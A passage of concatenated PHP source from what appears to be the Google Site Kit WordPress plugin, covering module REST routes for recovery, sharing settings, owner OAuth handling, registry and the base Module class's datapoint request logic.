'Identifier for the module.', 'google-site-kit' ), 'sanitize_callback' => 'sanitize_key', ), 'datapoint' => array( 'type' => 'string', 'description' => __( 'Module data point to address.', 'google-site-kit' ), 'sanitize_callback' => 'sanitize_key', ), ), ) ), new REST_Route( 'core/modules/data/recover-modules', array( array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => function ( WP_REST_Request $request ) { $data = $request['data']; $slugs = isset( $data['slugs'] ) ? $data['slugs'] : array(); if ( ! is_array( $slugs ) || empty( $slugs ) ) { return new WP_Error( 'invalid_param', __( 'Request parameter slugs is not valid.', 'google-site-kit' ), array( 'status' => 400 ) ); } $response = array( 'success' => array(), 'error' => array(), ); foreach ( $slugs as $slug ) { try { $module = $this->modules->get_module( $slug ); } catch ( Exception $e ) { $response = $this->handle_module_recovery_error( $slug, $response, new WP_Error( 'invalid_module_slug', $e->getMessage(), array( 'status' => 404 ) ) ); continue; } if ( ! $module->is_shareable() ) { $response = $this->handle_module_recovery_error( $slug, $response, new WP_Error( 'module_not_shareable', __( 'Module is not shareable.', 'google-site-kit' ), array( 'status' => 404 ) ) ); continue; } if ( ! $this->modules->is_module_recoverable( $module ) ) { $response = $this->handle_module_recovery_error( $slug, $response, new WP_Error( 'module_not_recoverable', __( 'Module is not recoverable.', 'google-site-kit' ), array( 'status' => 403 ) ) ); continue; } $check_access_endpoint = '/' . REST_Routes::REST_ROOT . '/' . self::REST_ROUTE_CHECK_ACCESS; $check_access_request = new WP_REST_Request( 'POST', $check_access_endpoint ); $check_access_request->set_body_params( array( 'data' => array( 'slug' => $slug, ), ) ); $check_access_response = rest_do_request( $check_access_request ); if ( is_wp_error( $check_access_response ) ) { $response = $this->handle_module_recovery_error( $slug, $response, $check_access_response ); continue; } $access = isset( $check_access_response->data['access'] ) ? $check_access_response->data['access'] : false; if ( ! $access ) { $response = $this->handle_module_recovery_error( $slug, $response, new WP_Error( 'module_not_accessible', __( 'Module is not accessible by current user.', 'google-site-kit' ), array( 'status' => 403 ) ) ); continue; } // Update the module's ownerID to the ID of the user making the request. $module_setting_updates = array( 'ownerID' => get_current_user_id(), ); $recovered_module = $module->get_settings()->merge( $module_setting_updates ); if ( $recovered_module ) { $response['success'][ $slug ] = true; } } // Cast error array to an object so JSON encoded response is // always an object, even when the error array is empty. if ( ! $response['error'] ) { $response['error'] = (object) array(); } return new WP_REST_Response( $response ); }, 'permission_callback' => $can_setup, ), ), array( 'schema' => $get_module_schema, ) ), ); } /** * Prepares module data for a REST response according to the schema. * * @since 1.92.0 * * @param Module $module Module instance. * @return array Module REST response data. */ private function prepare_module_data_for_response( Module $module ) { $module_data = array( 'slug' => $module->slug, 'name' => $module->name, 'description' => $module->description, 'homepage' => $module->homepage, 'internal' => $module->internal, 'order' => $module->order, 'forceActive' => $module->force_active, 'recoverable' => $module->is_recoverable(), 'shareable' => $this->modules->is_module_shareable( $module->slug ), 'active' => $this->modules->is_module_active( $module->slug ), 'connected' => $this->modules->is_module_connected( $module->slug ), 'dependencies' => $this->modules->get_module_dependencies( $module->slug ), 'dependants' => $this->modules->get_module_dependants( $module->slug ), 'owner' => null, ); if ( current_user_can( 'list_users' ) && $module instanceof Module_With_Owner ) { $owner_id = $module->get_owner_id(); if ( $owner_id ) { $module_data['owner'] = array( 'id' => $owner_id, 'login' => get_the_author_meta( 'user_login', $owner_id ), ); } } return $module_data; } /** * Prepares error data to pass with WP_REST_Response. * * @since 1.92.0 * * @param WP_Error $error Error (WP_Error) to prepare. * * @return array Formatted error response suitable for the client. */ protected function prepare_error_response( $error ) { return array( 'code' => $error->get_error_code(), 'message' => $error->get_error_message(), 'data' => $error->get_error_data(), ); } /** * Updates response with error encounted during module recovery. * * @since 1.92.0 * * @param string $slug The module slug. * @param array $response The existing response. * @param WP_Error $error The error encountered. * * @return array The updated response with error included. */ protected function handle_module_recovery_error( $slug, $response, $error ) { $response['success'][ $slug ] = false; $response['error'][ $slug ] = $this->prepare_error_response( $error ); return $response; } } <?php /** * Class Google\Site_Kit\Core\Modules\Module_With_Debug_Fields * * @package Google\Site_Kit\Core\Modules * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; /** * Interface Module_With_Debug_Fields * * @since 1.5.0 */ interface Module_With_Debug_Fields { /** * Gets an array of debug field definitions. * * @since 1.5.0 * * @return array */ public function get_debug_fields(); } <?php /** * Trait Google\Site_Kit\Core\Modules\Module_With_Settings_Trait * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; /** * Trait for a module that includes a screen. * * @since 1.2.0 * @access private * @ignore */ trait Module_With_Settings_Trait { /** * Settings instance. * * @since 1.2.0 * * @var Module_Settings */ protected $settings; /** * Sets up the module's settings instance. * * @since 1.2.0 * * @return Module_Settings */ abstract protected function setup_settings(); /** * Gets the module's Settings instance. * * @since 1.2.0 * * @return Module_Settings Module_Settings instance. */ public function get_settings() { if ( ! $this->settings instanceof Module_Settings ) { $this->settings = $this->setup_settings(); } return $this->settings; } } <?php /** * Interface Google\Site_Kit\Core\Modules\Module_With_Deactivation * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; /** * Interface for a module that has additional behavior when deactivated. * * @since 1.36.0 * @access private * @ignore */ interface Module_With_Deactivation { /** * Handles module deactivation. * * @since 1.36.0 */ public function on_deactivation(); } <?php /** * Class Google\Site_Kit\Core\Modules\Module_Registry * * @package Google\Site_Kit\Core\Modules * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; use InvalidArgumentException; /** * Class for managing module registration. * * @since 1.21.0 * @access private * @ignore */ class Module_Registry { /** * Registered modules. * * @since 1.21.0 * @var array */ private $registry = array(); /** * Registers a module class on the registry. * * @since 1.21.0 * * @param string $module_classname Fully-qualified module class name to register. * @throws InvalidArgumentException Thrown if an invalid module class name is provided. */ public function register( $module_classname ) { if ( ! is_string( $module_classname ) || ! $module_classname ) { throw new InvalidArgumentException( 'A module class name is required to register a module.' ); } if ( ! class_exists( $module_classname ) ) { throw new InvalidArgumentException( "No class exists for '$module_classname'" ); } if ( ! is_subclass_of( $module_classname, Module::class ) ) { throw new InvalidArgumentException( sprintf( 'All module classes must extend the base module class: %s', Module::class ) ); } $this->registry[ $module_classname ] = $module_classname; } /** * Gets all registered module class names. * * @since 1.21.0 * * @return string[] Registered module class names. */ public function get_all() { return array_keys( $this->registry ); } } <?php /** * Trait Google\Site_Kit\Core\Modules\Module_With_Tag_Trait * * @package Google\Site_Kit\Core\Modules * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Matchers; trait Module_With_Tag_Trait { /** * Checks if the module tag is found in the provided content. * * @since 1.119.0 * * @param string $content Content to search for the tags. * @return bool TRUE if tag is found, FALSE if not. */ public function has_placed_tag_in_content( $content ) { $tag_matchers = $this->get_tag_matchers()->regex_matchers(); $module_name = $this->name; // Remove 4 from translatable string name of the module if present. if ( strpos( $module_name, '4' ) !== false ) { $module_name = trim( str_replace( '4', '', $module_name ) ); } $search_string = 'Google ' . $module_name . ' snippet added by Site Kit'; // @TODO Replace the comment text around the module name with methods that should expose it. $search_translatable_string = sprintf( /* translators: %s: translatable module name */ __( 'Google %s snippet added by Site Kit', 'google-site-kit' ), $module_name ); if ( strpos( $content, $search_string ) !== false || strpos( $content, $search_translatable_string ) !== false ) { return Module_Tag_Matchers::TAG_EXISTS_WITH_COMMENTS; } else { foreach ( $tag_matchers as $pattern ) { if ( preg_match( $pattern, $content ) ) { return Module_Tag_Matchers::TAG_EXISTS; } } } return Module_Tag_Matchers::NO_TAG_FOUND; } /** * Gets the URL of the page where a tag for the module would be placed. * * For all modules like Analytics, Tag Manager, AdSense, Ads, etc. except for * Sign in with Google, tags can be detected on the home page. SiwG places its * snippet on the login page and thus, overrides this method. * * @since 1.140.0 * * @return string The home page URL string where tags are placed for most modules. */ public function get_content_url() { return home_url(); } } <?php /** * Class Google\Site_Kit\Core\Modules\Shareable_Datapoint * * @package Google\Site_Kit\Core\Modules * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; /** * Class representing a shareable datapoint definition. * * @since 1.160.0 * @access private * @ignore */ class Shareable_Datapoint extends Datapoint { /** * Checks if the datapoint is shareable. * * @since 1.160.0 * * @return bool */ public function is_shareable() { return true; } } <?php /** * Interface Google\Site_Kit\Core\Modules\Module_With_Activation * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; /** * Interface for a module that has additional behavior when activated. * * @since 1.36.0 * @access private * @ignore */ interface Module_With_Activation { /** * Handles module activation. * * @since 1.36.0 */ public function on_activation(); } <?php /** * Trait Google\Site_Kit\Core\Modules\Module_With_Inline_Data_Trait * * @package Google\Site_Kit * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; /** * Trait for a module that sets inline data. * * @since 1.158.0 * @access private * @ignore */ trait Module_With_Inline_Data_Trait { /** * Registers the hook to add required scopes. * * @since 1.158.0 */ private function register_inline_data() { add_filter( 'googlesitekit_inline_modules_data', array( $this, 'get_inline_data' ), ); } } <?php /** * Trait Google\Site_Kit\Core\Modules\Module_With_Data_Available_State_Trait * * @package Google\Site_Kit * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; /** * Trait for a module that has data available state. * * @since 1.96.0 * @access private * @ignore */ trait Module_With_Data_Available_State_Trait { /** * Gets data available transient name of the module. * * @since 1.96.0 * * @return string Data available transient name. */ protected function get_data_available_transient_name() { return "googlesitekit_{$this->slug}_data_available"; } /** * Checks whether the data is available for the module. * * @since 1.96.0 * * @return bool True if data is available, false otherwise. */ public function is_data_available() { return (bool) $this->transients->get( $this->get_data_available_transient_name() ); } /** * Sets the data available state for the module. * * @since 1.96.0 * * @return bool True on success, false otherwise. */ public function set_data_available() { return $this->transients->set( $this->get_data_available_transient_name(), true ); } /** * Resets the data available state for the module. * * @since 1.96.0 * * @return bool True on success, false otherwise. */ public function reset_data_available() { return $this->transients->delete( $this->get_data_available_transient_name() ); } } <?php /** * Interface Google\Site_Kit\Core\Modules\Module_With_Inline_Data * * @package Google\Site_Kit * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; /** * Interface for a module that sets inline data. * * @since 1.158.0 * @access private * @ignore */ interface Module_With_Inline_Data { /** * Gets required inline data for the module. * * @since 1.158.0 * @since 1.160.0 Include `$modules_data` parameter. * * @param array $modules_data Inline modules data. * @return array An array of the module's inline data. */ public function get_inline_data( $modules_data ); } <?php /** * Trait Google\Site_Kit\Core\Modules\Module_With_Owner_Trait * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; use Google\Site_Kit\Core\Authentication\Clients\OAuth_Client; use Google\Site_Kit\Core\Authentication\Profile; use Google\Site_Kit\Core\Authentication\Token; use Google\Site_Kit\Core\Storage\User_Options; /** * Trait for a module that includes an owner ID. * * @since 1.16.0 * @access private * @ignore */ trait Module_With_Owner_Trait { /** * OAuth_Client instance. * * @since 1.77.0. * @var OAuth_Client */ protected $owner_oauth_client; /** * Gets an owner ID for the module. * * @since 1.16.0 * * @return int Owner ID. */ public function get_owner_id() { if ( ! $this instanceof Module_With_Settings ) { return 0; } $settings = $this->get_settings()->get(); if ( empty( $settings['ownerID'] ) ) { return 0; } return $settings['ownerID']; } /** * Gets the OAuth_Client instance for the module owner. * * @since 1.77.0 * * @return OAuth_Client OAuth_Client instance. */ public function get_owner_oauth_client() { if ( $this->owner_oauth_client instanceof OAuth_Client ) { return $this->owner_oauth_client; } $user_options = new User_Options( $this->context, $this->get_owner_id() ); $this->owner_oauth_client = new OAuth_Client( $this->context, $this->options, $user_options, $this->authentication->credentials(), $this->authentication->get_google_proxy(), new Profile( $user_options ), new Token( $user_options ) ); return $this->owner_oauth_client; } } <?php /** * Class Google\Site_Kit\Core\Modules\Module_Sharing_Settings * * @package Google\Site_Kit\Core\Modules * @copyright 2022 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; use Google\Site_Kit\Core\Storage\Setting; use Google\Site_Kit\Core\Util\Sanitize; /** * Class for module sharing settings. * * @since 1.50.0 * @access private * @ignore */ class Module_Sharing_Settings extends Setting { const OPTION = 'googlesitekit_dashboard_sharing'; /** * Gets the default value. * * @since 1.50.0 * * @return array */ protected function get_default() { return array(); } /** * Gets the expected value type. * * @since 1.50.0 * * @return string The type name. */ protected function get_type() { return 'object'; } /** * Gets the callback for sanitizing the setting's value before saving. * * @since 1.50.0 * * @return callable Callback method that filters or type casts invalid setting values. */ protected function get_sanitize_callback() { return function ( $option ) { if ( ! is_array( $option ) ) { return array(); } $sanitized_option = array(); foreach ( $option as $module_slug => $sharing_settings ) { $sanitized_option[ $module_slug ] = array(); if ( isset( $sharing_settings['sharedRoles'] ) ) { $filtered_shared_roles = $this->filter_shared_roles( Sanitize::sanitize_string_list( $sharing_settings['sharedRoles'] ) ); $sanitized_option[ $module_slug ]['sharedRoles'] = $filtered_shared_roles; } if ( isset( $sharing_settings['management'] ) ) { $sanitized_option[ $module_slug ]['management'] = (string) $sharing_settings['management']; } } return $sanitized_option; }; } /** * Filters the shared roles to only include roles with the edit_posts capability. * * @since 1.85.0. * * @param array $shared_roles The shared roles list. * @return string[] The sanitized shared roles list. */ private function filter_shared_roles( array $shared_roles ) { $filtered_shared_roles = array_filter( $shared_roles, function ( $role_slug ) { $role = get_role( $role_slug ); if ( empty( $role ) || ! $role->has_cap( 'edit_posts' ) ) { return false; } return true; } ); return array_values( $filtered_shared_roles ); } /** * Gets the settings after filling in default values. * * @since 1.50.0 * * @return array Value set for the option, or registered default if not set. */ public function get() { $settings = parent::get(); foreach ( $settings as $module_slug => $sharing_settings ) { if ( ! isset( $sharing_settings['sharedRoles'] ) || ! is_array( $sharing_settings['sharedRoles'] ) ) { $settings[ $module_slug ]['sharedRoles'] = array(); } if ( ! isset( $sharing_settings['management'] ) || ! in_array( $sharing_settings['management'], array( 'all_admins', 'owner' ), true ) ) { $settings[ $module_slug ]['management'] = 'owner'; } if ( isset( $sharing_settings['sharedRoles'] ) && is_array( $sharing_settings['sharedRoles'] ) ) { $filtered_shared_roles = $this->filter_shared_roles( $sharing_settings['sharedRoles'] ); $settings[ $module_slug ]['sharedRoles'] = $filtered_shared_roles; } } return $settings; } /** * Merges a partial Module_Sharing_Settings option array into existing sharing settings. * * @since 1.75.0 * @since 1.77.0 Removed capability checks. * * @param array $partial Partial settings array to update existing settings with. * * @return bool True if sharing settings option was updated, false otherwise. */ public function merge( array $partial ) { $settings = $this->get(); $partial = array_filter( $partial, function ( $value ) { return ! empty( $value ); } ); return $this->set( $this->array_merge_deep( $settings, $partial ) ); } /** * Gets the sharing settings for a given module, or the defaults. * * @since 1.95.0 * * @param string $slug Module slug. * @return array { * Sharing settings for the given module. * Default sharing settings do not grant any access so they * are safe to return for a non-existent or non-shareable module. * * @type array $sharedRoles A list of WP Role IDs that the module is shared with. * @type string $management Which users can manage the sharing settings. * } */ public function get_module( $slug ) { $settings = $this->get(); if ( isset( $settings[ $slug ] ) ) { return $settings[ $slug ]; } return array( 'sharedRoles' => array(), 'management' => 'owner', ); } /** * Unsets the settings for a given module. * * @since 1.68.0 * * @param string $slug Module slug. */ public function unset_module( $slug ) { $settings = $this->get(); if ( isset( $settings[ $slug ] ) ) { unset( $settings[ $slug ] ); $this->set( $settings ); } } /** * Gets the combined roles that are set as shareable for all modules. * * @since 1.69.0 * * @return array Combined array of shared roles for all modules. */ public function get_all_shared_roles() { $shared_roles = array(); $settings = $this->get(); foreach ( $settings as $sharing_settings ) { if ( ! isset( $sharing_settings['sharedRoles'] ) ) { continue; } $shared_roles = array_merge( $shared_roles, $sharing_settings['sharedRoles'] ); } return array_unique( $shared_roles ); } /** * Gets the shared roles for the given module slug. * * @since 1.69.0 * * @param string $slug Module slug. * @return array list of shared roles for the module, otherwise an empty list. */ public function get_shared_roles( $slug ) { $settings = $this->get(); if ( isset( $settings[ $slug ]['sharedRoles'] ) ) { return $settings[ $slug ]['sharedRoles']; } return array(); } /** * Merges two arrays recursively to a specific depth. * * When array1 and array2 have the same string keys, it overwrites * the elements of array1 with elements of array2. Otherwise, it adds/appends * elements of array2. * * @since 1.77.0 * * @param array $array1 First array. * @param array $array2 Second array. * @param int $depth Optional. Depth to merge to. Default is 1. * * @return array Merged array. */ private function array_merge_deep( $array1, $array2, $depth = 1 ) { foreach ( $array2 as $key => $value ) { if ( $depth > 0 && is_array( $value ) ) { $array1_key = isset( $array1[ $key ] ) ? $array1[ $key ] : null; $array1[ $key ] = $this->array_merge_deep( $array1_key, $value, $depth - 1 ); } else { $array1[ $key ] = $value; } } return $array1; } } <?php /** * Class Google\Site_Kit\Core\Modules\Module * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; use Closure; use Exception; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Assets\Assets; use Google\Site_Kit\Core\Authentication\Clients\OAuth_Client; use Google\Site_Kit\Core\Authentication\Exception\Insufficient_Scopes_Exception; use Google\Site_Kit\Core\Authentication\Exception\Google_Proxy_Code_Exception; use Google\Site_Kit\Core\Contracts\WP_Errorable; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\Storage\Options; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Core\Authentication\Authentication; use Google\Site_Kit\Core\Authentication\Clients\Google_Site_Kit_Client; use Google\Site_Kit\Core\REST_API\Exception\Invalid_Datapoint_Exception; use Google\Site_Kit\Core\REST_API\Data_Request; use Google\Site_Kit\Core\Storage\Transients; use Google\Site_Kit_Dependencies\Google\Service as Google_Service; use Google\Site_Kit_Dependencies\Google_Service_Exception; use Google\Site_Kit_Dependencies\Psr\Http\Message\RequestInterface; use WP_Error; /** * Base class for a module. * * @since 1.0.0 * @access private * @ignore * * @property-read string $slug Unique module identifier. * @property-read string $name Module name. * @property-read string $description Module description. * @property-read int $order Module order within module lists. * @property-read string $homepage External module homepage URL. * @property-read array $depends_on List of other module slugs the module depends on. * @property-read bool $force_active Whether the module cannot be disabled. * @property-read bool $internal Whether the module is internal, thus without any UI. */ abstract class Module { /** * Plugin context. * * @since 1.0.0 * @var Context */ protected $context; /** * Option API instance. * * @since 1.0.0 * @var Options */ protected $options; /** * User Option API instance. * * @since 1.0.0 * @var User_Options */ protected $user_options; /** * Authentication instance. * * @since 1.0.0 * @var Authentication */ protected $authentication; /** * Assets API instance. * * @since 1.40.0 * @var Assets */ protected $assets; /** * Transients instance. * * @since 1.96.0 * @var Transients */ protected $transients; /** * Module information. * * @since 1.0.0 * @var array */ private $info = array(); /** * Google API client instance. * * @since 1.0.0 * @var Google_Site_Kit_Client|null */ private $google_client; /** * Google services as $identifier => $service_instance pairs. * * @since 1.0.0 * @var array|null */ private $google_services; /** * Constructor. * * @since 1.0.0 * * @param Context $context Plugin context. * @param Options $options Optional. Option API instance. Default is a new instance. * @param User_Options $user_options Optional. User Option API instance. Default is a new instance. * @param Authentication $authentication Optional. Authentication instance. Default is a new instance. * @param Assets $assets Optional. Assets API instance. Default is a new instance. */ public function __construct( Context $context, ?Options $options = null, ?User_Options $user_options = null, ?Authentication $authentication = null, ?Assets $assets = null ) { $this->context = $context; $this->options = $options ?: new Options( $this->context ); $this->user_options = $user_options ?: new User_Options( $this->context ); $this->authentication = $authentication ?: new Authentication( $this->context, $this->options, $this->user_options ); $this->assets = $assets ?: new Assets( $this->context ); $this->transients = new Transients( $this->context ); $this->info = $this->parse_info( (array) $this->setup_info() ); } /** * Registers functionality through WordPress hooks. * * @since 1.0.0 */ abstract public function register(); /** * Magic isset-er. * * Allows checking for existence of module information. * * @since 1.0.0 * * @param string $key Key to check.. * @return bool True if value for $key is available, false otherwise. */ final public function __isset( $key ) { return isset( $this->info[ $key ] ); } /** * Magic getter. * * Allows reading module information. * * @since 1.0.0 * * @param string $key Key to get value for. * @return mixed Value for $key, or null if not available. */ final public function __get( $key ) { if ( ! isset( $this->info[ $key ] ) ) { return null; } return $this->info[ $key ]; } /** * Checks whether the module is connected. * * A module being connected means that all steps required as part of its activation are completed. * * @since 1.0.0 * * @return bool True if module is connected, false otherwise. */ public function is_connected() { return true; } /** * Gets data for the given datapoint. * * @since 1.0.0 * * @param string $datapoint Datapoint to get data for. * @param array|Data_Request $data Optional. Contextual data to provide. Default empty array. * @return mixed Data on success, or WP_Error on failure. */ final public function get_data( $datapoint, $data = array() ) { return $this->execute_data_request( new Data_Request( 'GET', 'modules', $this->slug, $datapoint, $data ) ); } /** * Sets data for the given datapoint. * * @since 1.0.0 * * @param string $datapoint Datapoint to get data for. * @param array|Data_Request $data Data to set. * @return mixed Response data on success, or WP_Error on failure. */ final public function set_data( $datapoint, $data ) { return $this->execute_data_request( new Data_Request( 'POST', 'modules', $this->slug, $datapoint, $data ) ); } /** * Returns the list of datapoints the class provides data for. * * @since 1.0.0 * * @return array List of datapoints. */ final public function get_datapoints() { $keys = array(); $definitions = $this->get_datapoint_definitions(); foreach ( array_keys( $definitions ) as $key ) { $parts = explode( ':', $key ); $name = end( $parts ); if ( ! empty( $name ) ) { $keys[ $name ] = $name; } } return array_values( $keys ); } /** * Returns the mapping between available datapoints and their services. * * @since 1.0.0 * @since 1.9.0 No longer abstract. * @deprecated 1.12.0 * * @return array Associative array of $datapoint => $service_identifier pairs. */ protected function get_datapoint_services() { _deprecated_function( __METHOD__, '1.12.0', static::class . '::get_datapoint_definitions' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped return array(); } /** * Gets map of datapoint to definition data for each. * * @since 1.9.0 * * @return array Map of datapoints to their definitions. */ protected function get_datapoint_definitions() { return array(); } /** * Gets the datapoint definition instance. * * @since 1.77.0 * * @param string $datapoint_id Datapoint ID. * @return Datapoint Datapoint instance. * @throws Invalid_Datapoint_Exception Thrown if no datapoint exists by the given ID. */ protected function get_datapoint_definition( $datapoint_id ) { $definitions = $this->get_datapoint_definitions(); // All datapoints must be defined. if ( empty( $definitions[ $datapoint_id ] ) ) { throw new Invalid_Datapoint_Exception(); } $datapoint = $definitions[ $datapoint_id ]; if ( $datapoint instanceof Datapoint ) { return $datapoint; } return new Datapoint( $datapoint ); } /** * Creates a request object for the given datapoint. * * @since 1.0.0 * * @param Data_Request $data Data request object. * * // phpcs:ignore Squiz.Commenting.FunctionComment.InvalidNoReturn * @return RequestInterface|callable|WP_Error Request object or callable on success, or WP_Error on failure. * @throws Invalid_Datapoint_Exception Override in a sub-class. */ protected function create_data_request( Data_Request $data ) { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found,Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed throw new Invalid_Datapoint_Exception(); } /** * Parses a response for the given datapoint. * * @since 1.0.0 * * @param Data_Request $data Data request object. * @param mixed $response Request response. * * @return mixed Parsed response data on success, or WP_Error on failure. */ protected function parse_data_response( Data_Request $data, $response ) { return $response; } /** * Creates a request object for the given datapoint. * * @since 1.0.0 * * @param Data_Request $data Data request object. * @return mixed Data on success, or WP_Error on failure. */ final protected function execute_data_request( Data_Request $data ) { $restore_defers = array(); try { $datapoint = $this->get_datapoint_definition( "{$data->method}:{$data->datapoint}" ); $oauth_client = $this->get_oauth_client_for_datapoint( $datapoint ); $this->validate_datapoint_scopes( $datapoint, $oauth_client ); $this->validate_base_scopes( $oauth_client ); // In order for a request to leverage a client other than the default // it must return a RequestInterface (Google Services return this when defer = true). // If not deferred, the request will be executed immediately with the client // the service instance was instantiated with, which will always be the // default client, configured for the current user and provided in `get_service`. // Client defer is false by default, so we need to configure the default to defer // even if a different client will be the one to execute the request because // the default instance is what services are setup with. $restore_defers[] = $this->get_client()->withDefer( true ); if ( $this->authentication->get_oauth_client() !== $oauth_client ) { $restore_defers[] = $oauth_client->get_client()->withDefer( true ); $current_user = wp_get_current_user(); } if ( $datapoint instanceof Executable_Datapoint ) { $request = $datapoint->create_request( $data ); } else { $request = $this->create_data_request( $data ); } if ( is_wp_error( $request ) ) { return $request; } elseif ( $request instanceof Closure ) { $response = $request(); } elseif ( $request instanceof RequestInterface ) { $response = $oauth_client->get_client()->execute( $request ); } else { return new WP_Error( 'invalid_datapoint_request', __( 'Invalid datapoint request.', 'google-site-kit' ), array( 'status' => 400 ) ); } } catch ( Exception $e ) { return $this->exception_to_error( $e, $data->datapoint ); } finally { foreach ( $restore_defers as $restore_defer ) { $restore_defer(); } } if ( is_wp_error( $response ) ) { return $response; } if ( $datapoint instanceof Executable_Datapoint ) { return $datapoint->parse_response( $response, $data ); } return $this->parse_data_response( $data, $response ); } /** * Validates necessary scopes for the given datapoint. * * @since 1.77.0 * * @param Datapoint $datapoint Datapoint instance. * @param OAuth_Client $oauth_client OAuth_Client instance. * @throws Insufficient_Scopes_Exception Thrown if required scopes are not satisfied. */ private function validate_datapoint_scopes( Datapoint $datapoint, OAuth_Client $oauth_client ) { $required_scopes = $datapoint->get_required_scopes(); if ( $required_scopes && ! $oauth_client->has_sufficient_scopes( $required_scopes ) ) { $message = $datapoint->get_request_scopes_message(); throw new Insufficient_Scopes_Exception( $message, 0, null, $required_scopes ); } } /** * Validates necessary scopes for the module. * * @since 1.77.0 * * @param OAuth_Client $oauth_client OAuth_Client instance. * @throws Insufficient_Scopes_Exception Thrown if required scopes are not satisfied. */ private function validate_base_scopes( OAuth_Client $oauth_client ) { if ( ! $this instanceof Module_With_Scopes ) { return; } if ( ! $oauth_client->has_sufficient_scopes( $this->get_scopes() ) ) { $message = sprintf( /* translators: %s: module name */ __( 'Site Kit can’t access the relevant data from %s because you haven’t granted all permissions requested during setup.', 'google-site-kit' ), $this->name ); throw new Insufficient_Scopes_Exception( $message, 0, null, $this->get_scopes() ); } } /** * Gets the output for a specific frontend hook. * * @since 1.0.0 * * @param string $hook Frontend hook name, e.g. 'wp_head', 'wp_footer', etc. * @return string Output the hook generates. */ final protected function get_frontend_hook_output( $hook ) { $current_user_id = get_current_user_id(); // Unset current user to make WordPress behave as if nobody was logged in. wp_set_current_user( false ); ob_start(); do_action( $hook ); $output = ob_get_clean(); // Restore the current user. wp_set_current_user( $current_user_id ); return $output; } /** * Gets the Google client the module uses. * * This method should be used to access the client. * * @since 1.0.0 * @since 1.2.0 Now returns Google_Site_Kit_Client instance. * @since 1.35.0 Updated to be public. * * @return Google_Site_Kit_Client Google client instance. * * @throws Exception Thrown when the module did not correctly set up the client. */ final public function get_client() { if ( null === $this->google_client ) { $client = $this->setup_client(); if ( ! $client instanceof Google_Site_Kit_Client ) { throw new Exception( __( 'Google client not set up correctly.', 'google-site-kit' ) ); } $this->google_client = $client; } return $this->google_client; } /** * Gets the oAuth client instance to use for the given datapoint. * * @since 1.77.0 * * @param Datapoint $datapoint Datapoint definition. * @return OAuth_Client OAuth_Client instance. */ private function get_oauth_client_for_datapoint( Datapoint $datapoint ) { if ( $this instanceof Module_With_Owner && $this->is_shareable() && $datapoint->is_shareable() && $this->get_owner_id() !== get_current_user_id() && ! $this->is_recoverable() && current_user_can( Permissions::READ_SHARED_MODULE_DATA, $this->slug ) ) { $oauth_client = $this->get_owner_oauth_client(); try { $this->validate_base_scopes( $oauth_client ); return $oauth_client; } catch ( Exception $exception ) { // phpcs:ignore Generic.CodeAnalysis.EmptyStatement.DetectedCatch // Fallthrough to default oauth client if scopes are unsatisfied. } } return $this->authentication->get_oauth_client(); } /** * Gets the Google service for the given identifier. * * This method should be used to access Google services. * * @since 1.0.0 * * @param string $identifier Identifier for the service. * @return Google_Service Google service instance. * * @throws Exception Thrown when the module did not correctly set up the services or when the identifier is invalid. */ final protected function get_service( $identifier ) { if ( null === $this->google_services ) { $services = $this->setup_services( $this->get_client() ); if ( ! is_array( $services ) ) { throw new Exception( __( 'Google services not set up correctly.', 'google-site-kit' ) ); } foreach ( $services as $service ) { if ( ! $service instanceof Google_Service ) { throw new Exception( __( 'Google services not set up correctly.', 'google-site-kit' ) ); } } $this->google_services = $services; } if ( ! isset( $this->google_services[ $identifier ] ) ) { /* translators: %s: service identifier */ throw new Exception( sprintf( __( 'Google service identified by %s does not exist.', 'google-site-kit' ), $identifier ) ); } return $this->google_services[ $identifier ]; } /** * Sets up information about the module. * * @since 1.0.0 * * @return array Associative array of module info. */ abstract protected function setup_info(); /** * Sets up the Google client the module should use. * * This method is invoked once by {@see Module::get_client()} to lazily set up the 